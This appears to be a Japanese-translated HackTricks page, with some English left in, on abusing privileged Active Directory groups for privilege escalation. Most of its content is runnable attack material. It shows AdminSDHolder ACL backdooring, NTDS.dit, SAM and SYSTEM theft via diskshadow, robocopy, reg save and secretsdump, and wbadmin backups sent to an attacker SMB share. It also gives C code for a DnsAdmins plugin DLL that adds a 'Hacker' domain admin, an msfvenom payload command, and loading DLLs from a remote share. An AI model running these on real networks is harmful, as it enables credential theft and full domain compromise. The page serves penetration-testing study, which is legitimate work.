20 KiB
特権グループ
{% hint style="success" %}
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 DiscordグループまたはTelegramグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- ハッキングトリックを共有するには、HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してください。
Trickestを使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築し、自動化します。
今すぐアクセスを取得:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=command-injection" %}
管理権限を持つよく知られたグループ
- 管理者
- ドメイン管理者
- エンタープライズ管理者
アカウントオペレーター
このグループは、ドメイン上で管理者でないアカウントやグループを作成する権限を持っています。さらに、ドメインコントローラー(DC)へのローカルログインを可能にします。
このグループのメンバーを特定するには、次のコマンドが実行されます:
Get-NetGroupMember -Identity "Account Operators" -Recurse
新しいユーザーの追加が許可されており、DC01へのローカルログインも可能です。
AdminSDHolder グループ
AdminSDHolder グループのアクセス制御リスト (ACL) は重要であり、Active Directory 内のすべての「保護されたグループ」、特に高特権グループの権限を設定します。このメカニズムは、無許可の変更を防ぐことによって、これらのグループのセキュリティを確保します。
攻撃者は、AdminSDHolder グループの ACL を変更し、標準ユーザーに完全な権限を付与することでこれを悪用する可能性があります。これにより、そのユーザーはすべての保護されたグループに対して完全な制御を持つことになります。このユーザーの権限が変更または削除された場合、システムの設計により、1時間以内に自動的に復元されます。
メンバーを確認し、権限を変更するためのコマンドには次のものが含まれます:
Get-NetGroupMember -Identity "AdminSDHolder" -Recurse
Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=testlab,DC=local' -PrincipalIdentity matt -Rights All
Get-ObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs | ?{$_.IdentityReference -match 'spotless'}
スクリプトは復元プロセスを迅速化するために利用可能です: Invoke-ADSDPropagation.ps1。
詳細については、ired.teamを訪問してください。
AD リサイクル ビン
このグループのメンバーシップは、削除された Active Directory オブジェクトの読み取りを可能にし、機密情報を明らかにする可能性があります:
Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties *
ドメインコントローラーアクセス
DC上のファイルへのアクセスは、ユーザーがServer Operators
グループの一部でない限り制限されています。これにより、アクセスレベルが変更されます。
特権昇格
SysinternalsのPsService
またはsc
を使用することで、サービスの権限を検査および変更できます。たとえば、Server Operators
グループは特定のサービスに対して完全な制御を持ち、任意のコマンドの実行や特権昇格を可能にします。
C:\> .\PsService.exe security AppReadiness
このコマンドは、Server Operators
が完全なアクセス権を持ち、特権を昇格させるためにサービスを操作できることを明らかにします。
バックアップオペレーター
Backup Operators
グループのメンバーシップは、SeBackup
およびSeRestore
特権により、DC01
ファイルシステムへのアクセスを提供します。これらの特権により、明示的な権限がなくても、FILE_FLAG_BACKUP_SEMANTICS
フラグを使用してフォルダのトラバーサル、リスト表示、およびファイルコピー機能が可能になります。このプロセスには特定のスクリプトを利用する必要があります。
グループメンバーをリストするには、次を実行します:
Get-NetGroupMember -Identity "Backup Operators" -Recurse
ローカル攻撃
これらの特権をローカルで利用するために、以下の手順が実行されます:
- 必要なライブラリをインポートする:
Import-Module .\SeBackupPrivilegeUtils.dll
Import-Module .\SeBackupPrivilegeCmdLets.dll
SeBackupPrivilege
を有効にして確認する:
Set-SeBackupPrivilege
Get-SeBackupPrivilege
- 制限されたディレクトリからファイルにアクセスし、コピーします。例えば:
dir C:\Users\Administrator\
Copy-FileSeBackupPrivilege C:\Users\Administrator\report.pdf c:\temp\x.pdf -Overwrite
AD攻撃
ドメインコントローラーのファイルシステムへの直接アクセスは、ドメインユーザーとコンピューターのすべてのNTLMハッシュを含むNTDS.dit
データベースの盗難を可能にします。
diskshadow.exeの使用
C
ドライブのシャドウコピーを作成します:
diskshadow.exe
set verbose on
set metadata C:\Windows\Temp\meta.cab
set context clientaccessible
begin backup
add volume C: alias cdrive
create
expose %cdrive% F:
end backup
exit
- シャドウコピーから
NTDS.dit
をコピーします:
Copy-FileSeBackupPrivilege E:\Windows\NTDS\ntds.dit C:\Tools\ntds.dit
代わりに、ファイルコピーには robocopy
を使用します:
robocopy /B F:\Windows\NTDS .\ntds ntds.dit
- ハッシュ取得のために
SYSTEM
とSAM
を抽出する:
reg save HKLM\SYSTEM SYSTEM.SAV
reg save HKLM\SAM SAM.SAV
NTDS.dit
からすべてのハッシュを取得する:
secretsdump.py -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCAL
wbadmin.exeの使用
- 攻撃者のマシンでSMBサーバー用のNTFSファイルシステムを設定し、ターゲットマシンにSMB資格情報をキャッシュします。
wbadmin.exe
を使用してシステムバックアップとNTDS.dit
の抽出を行います:
net use X: \\<AttackIP>\sharename /user:smbuser password
echo "Y" | wbadmin start backup -backuptarget:\\<AttackIP>\sharename -include:c:\windows\ntds
wbadmin get versions
echo "Y" | wbadmin start recovery -version:<date-time> -itemtype:file -items:c:\windows\ntds\ntds.dit -recoverytarget:C:\ -notrestoreacl
実践的なデモについては、DEMO VIDEO WITH IPPSECを参照してください。
DnsAdmins
DnsAdminsグループのメンバーは、DNSサーバー(通常はドメインコントローラー上にホストされている)でSYSTEM権限を持つ任意のDLLをロードするためにその権限を悪用できます。この能力は、重大な悪用の可能性をもたらします。
DnsAdminsグループのメンバーをリストするには、次のコマンドを使用します:
Get-NetGroupMember -Identity "DnsAdmins" -Recurse
任意のDLLを実行する
メンバーは、次のようなコマンドを使用して、DNSサーバーに任意のDLL(ローカルまたはリモート共有から)をロードさせることができます:
dnscmd [dc.computername] /config /serverlevelplugindll c:\path\to\DNSAdmin-DLL.dll
dnscmd [dc.computername] /config /serverlevelplugindll \\1.2.3.4\share\DNSAdmin-DLL.dll
An attacker could modify the DLL to add a user to the Domain Admins group or execute other commands with SYSTEM privileges. Example DLL modification and msfvenom usage:
// Modify DLL to add user
DWORD WINAPI DnsPluginInitialize(PVOID pDnsAllocateFunction, PVOID pDnsFreeFunction)
{
system("C:\\Windows\\System32\\net.exe user Hacker T0T4llyrAndOm... /add /domain");
system("C:\\Windows\\System32\\net.exe group \"Domain Admins\" Hacker /add /domain");
}
// Generate DLL with msfvenom
msfvenom -p windows/x64/exec cmd='net group "domain admins" <username> /add /domain' -f dll -o adduser.dll
DNSサービスを再起動する(追加の権限が必要な場合があります)は、DLLをロードするために必要です:
sc.exe \\dc01 stop dns
sc.exe \\dc01 start dns
For more details on this attack vector, refer to ired.team.
Mimilib.dll
mimilib.dllを使用してコマンド実行を行うことも可能であり、特定のコマンドやリバースシェルを実行するように変更できます。この投稿を確認してください さらなる情報のために。
WPAD Record for MitM
DnsAdminsは、グローバルクエリブロックリストを無効にした後にWPADレコードを作成することで、DNSレコードを操作してMan-in-the-Middle (MitM)攻撃を実行できます。ResponderやInveighのようなツールを使用して、スプーフィングやネットワークトラフィックのキャプチャが可能です。
Event Log Readers
メンバーはイベントログにアクセスでき、平文のパスワードやコマンド実行の詳細など、機密情報を見つける可能性があります。
# Get members and search logs for sensitive information
Get-NetGroupMember -Identity "Event Log Readers" -Recurse
Get-WinEvent -LogName security | where { $_.ID -eq 4688 -and $_.Properties[8].Value -like '*/user*'}
Exchange Windows Permissions
このグループは、ドメインオブジェクトのDACLを変更でき、DCSync権限を付与する可能性があります。このグループを利用した特権昇格の手法は、Exchange-AD-Privesc GitHubリポジトリに詳述されています。
# List members
Get-NetGroupMember -Identity "Exchange Windows Permissions" -Recurse
Hyper-V 管理者
Hyper-V 管理者は Hyper-V への完全なアクセス権を持ち、これを利用して仮想化されたドメインコントローラーを制御することができます。これには、ライブ DC のクローン作成や NTDS.dit ファイルから NTLM ハッシュを抽出することが含まれます。
悪用の例
Firefox の Mozilla Maintenance Service は、Hyper-V 管理者によって SYSTEM としてコマンドを実行するために悪用される可能性があります。これには、保護された SYSTEM ファイルへのハードリンクを作成し、それを悪意のある実行可能ファイルに置き換えることが含まれます。
# Take ownership and start the service
takeown /F C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe
sc.exe start MozillaMaintenance
Note: ハードリンクの悪用は、最近のWindowsアップデートで軽減されています。
組織管理
Microsoft Exchangeが展開されている環境では、Organization Managementという特別なグループが重要な権限を持っています。このグループは、すべてのドメインユーザーのメールボックスにアクセスする特権を持ち、「Microsoft Exchange Security Groups」組織単位(OU)に対して完全な制御を維持しています。この制御には、特権昇格に悪用される可能性のある**Exchange Windows Permissions
**グループが含まれます。
特権の悪用とコマンド
プリントオペレーター
Print Operatorsグループのメンバーは、SeLoadDriverPrivilege
を含むいくつかの特権を持っており、これによりドメインコントローラーにローカルでログオンし、シャットダウンし、プリンターを管理することができます。これらの特権を悪用するには、特に**SeLoadDriverPrivilege
**が昇格されていないコンテキストで表示されない場合、ユーザーアカウント制御(UAC)をバイパスする必要があります。
このグループのメンバーをリストするには、次のPowerShellコマンドを使用します:
Get-NetGroupMember -Identity "Print Operators" -Recurse
For more detailed exploitation techniques related to SeLoadDriverPrivilege
, one should consult specific security resources.
リモートデスクトップユーザー
このグループのメンバーは、リモートデスクトッププロトコル(RDP)を介してPCにアクセスすることが許可されています。これらのメンバーを列挙するために、PowerShellコマンドが利用可能です:
Get-NetGroupMember -Identity "Remote Desktop Users" -Recurse
Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Desktop Users"
さらにRDPを悪用するための洞察は、専用のpentestingリソースにあります。
リモート管理ユーザー
メンバーは**Windows Remote Management (WinRM)**を介してPCにアクセスできます。これらのメンバーの列挙は、以下の方法で達成されます:
Get-NetGroupMember -Identity "Remote Management Users" -Recurse
Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Management Users"
WinRMに関連するエクスプロイト技術については、特定のドキュメントを参照する必要があります。
サーバーオペレーター
このグループは、ドメインコントローラー上でさまざまな構成を実行する権限を持っており、バックアップおよび復元の権限、システム時間の変更、システムのシャットダウンが含まれます。メンバーを列挙するためのコマンドは次のとおりです:
Get-NetGroupMember -Identity "Server Operators" -Recurse
References
- https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges
- https://www.tarlogic.com/en/blog/abusing-seloaddriverprivilege-for-privilege-escalation/
- https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/plan/security-best-practices/appendix-b--privileged-accounts-and-groups-in-active-directory
- https://docs.microsoft.com/en-us/windows/desktop/secauthz/enabling-and-disabling-privileges-in-c--
- https://adsecurity.org/?p=3658
- http://www.harmj0y.net/blog/redteaming/abusing-gpo-permissions/
- https://www.tarlogic.com/en/blog/abusing-seloaddriverprivilege-for-privilege-escalation/
- https://rastamouse.me/2019/01/gpo-abuse-part-1/
- https://github.com/killswitch-GUI/HotLoad-Driver/blob/master/NtLoadDriver/EXE/NtLoadDriver-C%2B%2B/ntloaddriver.cpp#L13
- https://github.com/tandasat/ExploitCapcom
- https://github.com/TarlogicSecurity/EoPLoadDriver/blob/master/eoploaddriver.cpp
- https://github.com/FuzzySecurity/Capcom-Rootkit/blob/master/Driver/Capcom.sys
- https://posts.specterops.io/a-red-teamers-guide-to-gpos-and-ous-f0d03976a31e
- https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FExecutable%20Images%2FNtLoadDriver.html
Trickestを使用して、世界で最も高度なコミュニティツールによって駆動されるワークフローを簡単に構築し、自動化します。
今すぐアクセスを取得:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=command-injection" %}
{% hint style="success" %}
AWSハッキングを学び、練習する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、練習する: HackTricks Training GCP Red Team Expert (GRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- ハッキングのトリックを共有するには、HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してください。